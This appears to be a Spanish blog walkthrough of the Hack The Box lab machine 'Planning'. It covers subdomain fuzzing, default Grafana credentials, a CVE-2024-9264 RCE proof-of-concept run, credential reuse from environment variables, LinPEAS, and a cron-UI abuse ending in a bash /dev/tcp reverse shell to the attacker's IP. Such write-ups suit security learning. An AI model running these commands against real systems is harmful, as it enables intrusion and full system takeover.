La máquina Planning es una máquina fácil de HTB.

Resumen de conceptos trabajados:

Enumeración web y puertos
Virtual Host y subdominios (Host header fuzzing)
-Prueba de credenciales por defecto
-Investigación de vulnerabilidades y explotación (RCE)
-Herencia de variables de entorno
-SSH pivot
-Enumeración automática (LinPEAS)
-Abuso de cronjobs vía interfaz web (CronTab UI)
-Reverse shell como root y lectura de la flag

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».

NUMERACIÓN -> ESCANEO DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.68 -oG Escaneo

*Si quieres saber la función de cada de las acciones de ese comando, aquí tienes el detalle.

Sabemos por tanto que los puertos 22 SSH y 80 http web están abiertos.

A continuación lo que voy a hacer es analizar los servicios y versiones que corren para esos puertos abiertos, de esta forma obtengo más detalle clave sobre posibles exploits que pueda encontrar, para ello lanzo este comando:

nmap -sCV -p22,80 10.10.11.68

La versión de OpenSSH 9.6 y la del server nginx 1.24 no reportan ningún exploit público por lo que pasamos a analizar la web en el navegador en busca de más pistas.

VIRTUAL HOSTS Y SUBDOMINIOS

Para ello primero vamos a editar el archivo etc/hosts porque en el escaneo nos aparece un dominio que no ha sido seguido por lo que vamos a incluir y asociar la IP a ese dominio.

echo "10.10.11.68   planning.htb" >> /etc/hosts

Y al acceder a la IP en el navegador redirige al dominio planning.htb que devuelve esta web:

Los siguientes pasos que se me ocurren para investigar son: hacer fuzzing web en busca de recursos o directorios ocultos, ver las respuestas con BurpSuite que se envían al servidor cuando se solicita más información a su Contact page o Enrroll.

Hipótesis rechazadas: el buscador interno no resuelve con urls parametrizadas que probar, el robots.txt devuelve un 404, no hay «versión» del site en el html ni otra info relevante, etc…

Hay ciertas páginas en PHP como detail.php (con el detalle del curso), enroll.php (para dejar los datos de solicitar más información) contact.php (igual que enroll.php pero además se muestra el correo de contacto info@planning.htb) y un about.php .

Vamos a aplicar fuzzing con Gobuster para analizar posibles rutas y recursos:

gobuster dir -u http://planning.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

No encuentro nada relevante ni analizando el directorio de /img/ por lo que creo que la intrusión quizás esté a nivel de petición y manipulación.

Vamos entonces a analizar por ffuf si existe algún subdominio vinculado donde puedan alojar alguna aplicación…

ffuf -u http://planning.htb -H "Host:FUZZ.planning.htb" -w /usr/share/seclists/Discovery/DNS/namelist.txt -fs 178 -t 100

Con el comando «-w /usr/share/seclists/Discovery/DNS/namelist.txt» buscamos en la wordlist nombres (namelist.txt) que ffuf usará para sustituir FUZZ en el Host. Suele contener cientos o miles de posibles subdominios tipo “admin”, “api”, “dev”, etc.

El comando «-fs 178» filtra (descarta) todas las respuestas cuyo tamaño de cuerpo sea exactamente 178 bytes. Así se eliminan respuestas “vacías” o genéricas (error 404 u otras sin contenido relevante) dejando solo aquellas que difieren.

Y «-t 100» lanza 100 hilos concurrentes, acelerando el fuzzing. Ten en cuenta que un número muy alto puede saturar la red o el servidor.

Efectivamente nos devuelve un subdominio: grafana. Por lo que lo añadimos al etc hosts y vemos qué hay en él.

Nos devuelve un panel de login para la aplicación Grafana versión v11.0.0

PRUEBA DE CREDENCIALES POR DEFECTO

En el despliegue de la máquina en HTB nos dan estas credenciales que paso a probar en la aplicación Grafana (de analítica…) para ver si son válidas.

Efectivamente con esas credenciales en la app de Grafana, estamos dentro como admin!

INVESTIGACIÓN DE VULNS Y EXPLOTACIÓN RCE

Analizamos la versión que encontramos dentro del dashboard en el icono de Pregunta arriba a la derecha o en el panel de login previo lo vemos abajo del todo, y por search exploit no encuentro nada, sin embargo haciendo una búsqueda en Google por el CVE encuentro un RCE exploit.

Este CVE-2024-9264 es una inyección en la funcionalidad de “SQL Expressions” de Grafana v11.0.0, por lo que vamos a ejecutar código remoto.

Primero, nos ponemos en escucha con netcat por el puerto 9001 antes de lanzar el exploit.

nc -lvnp 9001

Después, vamos a la carpeta donde está la descarga («https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit.git») y dentro de la carpeta, ejecutamos lo siguiente:

python poc.py --url http://grafana.planning.htb:80 --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.122 --reverse-port 9001

*tendrás que cambiar el valor de la reverse IP por la IP tuya de atacante.

HERENCIA DE VARIABLES DE ENTORNO

compruebo en la consola que soy root, listo las carpetas internas, y accedo a «env»

SSH PIVOT

Al ser root, puedo a ejecutar «env» para ver las variables del entorno que normalmente se usan para configurar aplicaciones sin necesidad de tocar ficheros de configuración planos.

Y vemos que hay un ADMIN_PASSWORD (RioTecRANDEntANT!) y un ADMIN_USER (enzo), por lo que vamos a probar a entrar a través del puerto 22 ssh que detectamos en el escaneo inicial.

Y efectivamente estamos dentro y podemos acceder a la user.txt flag.

Ahora vamos con la escalda de privilegios a root.

ENUMERACIÓN AUTOMÁTICA LINPEAS

Para ello vamos a descargarnos primero LinPEAS y ejecutarlo, ya que nos va a ayudar a automatizar comprobaciones de cada posible vector de ataque (SUIDs, permisos, cronjobs, configuraciones, Docker, etc.) ya que LinPEAS hace cientos de comprobaciones automáticamente en pocos segundos.

Lo primero es descargarnos LinPEAS en nuestra máquina atacante para luego desde dentro de la máquina como usuario Enzo hacer la petición wget.

Yo me descargué LinPEAS en el cd /tmp de mi máquina Kali

curl -sSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh

Después, ubicados en ese mismo directorio, levanto un servidor HTTP simple en Python3 sobre el puerto 8080 para servir ese script:

python3 -m http.server 8080

Dentro de la máquina víctima, como usuario Enzo, descargo LinPEAS desde mi máquina Kali:

wget http://10.10.14.122:8080/linpeas.sh

y le damos permisos de ejecución:

chmod +x linpeas.sh

y lo ejecuto para que inspeccione el sistema:

./linpeas.sh

LinPEAS busca bases de datos SQLite que estén presentes en el sistema porque muchas aplicaciones (y el propio sistema) guardan datos críticos en pequeños ficheros .db o .sqlite.

“Searching tables inside readable .db/.sql/.sqlite files”
LinPEAS localiza ficheros con extensión .db, .sql o .sqlite que podemos leer con nuestros permisos, encontrando:

  • /opt/crontabs/crontab.db
  • /var/lib/command-not-found/commands.db
  • /var/lib/fwupd/pending.db
  • /var/lib/PackageKit/transactions.db

Para cada uno, intenta volcar hasta las primeras 20 filas de cada tabla. Esto es útil porque dentro de esas bases de datos puede haber:

  • Definiciones de jobs de cron (en crontab.db), que digan qué comandos se ejecutan automáticamente como root.
  • Peticiones de actualización o transacciones pendientes, que podrían incluir rutas o scripts ejecutados con altos privilegios.

Probamos a abrir con «cat /opt/crontabs/crontab.db» el fichero y vemos:

El anterior JSON es el que usa Grafana para programar sus cron-jobs, y en él vemos tres tareas:

  • Grafana backup: Cada día monta la imagen Docker root_grafana, la comprime y la vuelve a comprimir con ZIP protegido por contraseña «P4ssw0rdS0pRi0T3c» (esta no es la contraseña del usuario root). Deja /var/backups/grafana.tar.gz.zip. Esto da un password ZIP que podemos usar para extraer cualquier backup que exista (si ha corrido ya la tarea).
  • ff : un ls que corre cada minuto.
  • Cleanup: lanza /root/scripts/cleanup.sh cada minuto. Este script seguramente borra viejos backups o limpia /var/backups.

¿Por qué es interesante /opt/crontabs/crontab.db?

  • Esa base de datos JSON contiene la configuración de los cronjobs definidos en /etc/cron.*.
  • Si algún job planificado como root está almacenado allí, podrás ver el comando o script que se ejecuta periódicamente.
  • Si ese script es escribible o apunta a un script en una ruta que tú controlas, podrás inyectar un payload que te dé shell root la próxima vez que corra el cron.

Si seguimos investigando la respuesta de LinPEAS, vemos este listado de puertos activos, por lo que parece que el 8000 está escuchando solo en localhost, es decir, que hay muy probablemente una pequeña interfaz o API corriendo ahí.

Para explorarlo cómodamente en mi navegador local, vamos a aplicar la acción de port-forwarding (túnel SSH) que establece un túnel SSH que redirija el puerto remoto 8000 al 8000 de mi Kali:

ssh -L 8000:127.0.0.1:8000 enzo@10.10.11.68

-L 8000:127.0.0.1:8000 → “cualquier conexión a mi localhost:8000 la envío a 127.0.0.1:8000 en la máquina víctima”.

Luego, en mi Kali, abro el navegador y ejecuto:

http://127.0.0.1:8000

ABUSO DE CRONJOBS

En el login incluimos como username «root» contraseña «P4ssw0rdS0pRi0T3c», y estamos dentro.

Ahora dentro donde vemos los cronjobs definidos vamos a inyectar un payload de reverse shell directamente desde la interfaz.

REVERSE SHELL

Creamos un nuevo cronjob donde inclimos en la parte de Command el siguiente payload con nuestra IP atacante:

bash -c 'exec bash -i &>/dev/tcp/10.10.14.122/8888 <&1'

Antes de darle a guardar, nos levantamos por netcat un listener y guardamos entonces el cronjob, y lo ejecutamos, y automáticamente estamos dentro como root.

A partir de ahí nos movemos al directorio root y vemos la root flag.

RESUMEN DE LA MÁQUINA PLANNING

Primero comprobamos que la máquina Planning estaba viva y corría Linux usando ping y un escaneo de puertos con nmap, lo que nos reveló SSH (22) y HTTP (80).
Añadimos la IP a /etc/hosts bajo el nombre planning.htb y exploramos la web con Gobuster y ffuf, lo que nos llevó a descubrir un subdominio oculto, grafana.planning.htb, donde probamos las credenciales iniciales (admin/OD5oT70Fq13EvB5r) y accedimos al panel de Grafana.

Al ver que esa versión (v11.0.0) era vulnerable al CVE-2024-9264, ejecutamos un exploit de “SQL Expressions” para obtener un reverse shell directamente como root y, revisando las variables de entorno con env, encontramos usuario y contraseña (enzo), con los que entramos por SSH y logramos la user flag.

A continuación, para la escalada a root, bajamos y ejecutamos LinPEAS desde la cuenta enzo, lo que nos mostró que Grafana usaba una interfaz web de CronTab para gestionar tareas programadas. Entramos a esa UI como root (usando la contraseña ZIP de backup encontrada) y creamos un nuevo cronjob que lanzaba nuestro reverse shell apuntando a nuestro Kali.

Al ejecutarlo, el cron corrió como root, recibimos la shell de alta privilegio y pudimos leer la root flag en /root/root.txt.

TÉCNICAS APLICADAS

Escaneo y Reconocimiento: Con nmap descubrimos los puertos abiertos (SSH y HTTP) y las versiones de los servicios, lo que nos indica qué atacar primero.

Hosts Local y Subdominios: Editamos /etc/hosts para apuntar planning.htb a la IP y, con fuzzing de cabecera Host (ffuf -H "Host:FUZZ.planning.htb"), encontramos el subdominio grafana.planning.htb.

Credenciales por Defecto: Probamos los logins iniciales de Grafana (admin:OD5oT70Fq13EvB5r), una práctica habitual para paneles sin configurar.

Investigación de vulnerabilidades y explotación (RCE): al identificar que la versión de Grafana (v11.0.0) sufría el CVE-2024-9264, usamos un exploit de SQL Expressions para ejecutar código remoto y lanzar un reverse shell como root.

Herencia de variables de entorno: con la reverse shell en el proceso de Grafana, ejecutamos env para leer variables como GF_SECURITY_ADMIN_PASSWORD que nos dieron un usuario válido para entrar por SSH como enzo.

SSH pivot: con esas credenciales SSH (enzo:…) nos conectamos a 10.10.11.68 y accedimos de forma “oficial” a la máquina como usuario normal.

Enumeración automática (LinPEAS): bajamos y lanzamos LinPEAS, que revisa permisos SUID, reglas de sudo, cronjobs, Docker, configuraciones y otros vectores, todo en segundos y bien organizado.

Abuso de cronjobs vía interfaz web (CronTab UI): LinPEAS reveló que Grafana gestiona sus tareas programadas desde una UI. Entrando con el usuario root en ese panel creamos un nuevo job que ejecutaba nuestro payload de shell inverso, y lo lanzamos al instante.

Reverse shell como root y lectura de la flag: el cronjob corrió bajo root, abrió la conexión de vuelta a nuestro Kali y, ya con privilegios máximos, leímos /root/root.txt.

Otros posts relacionados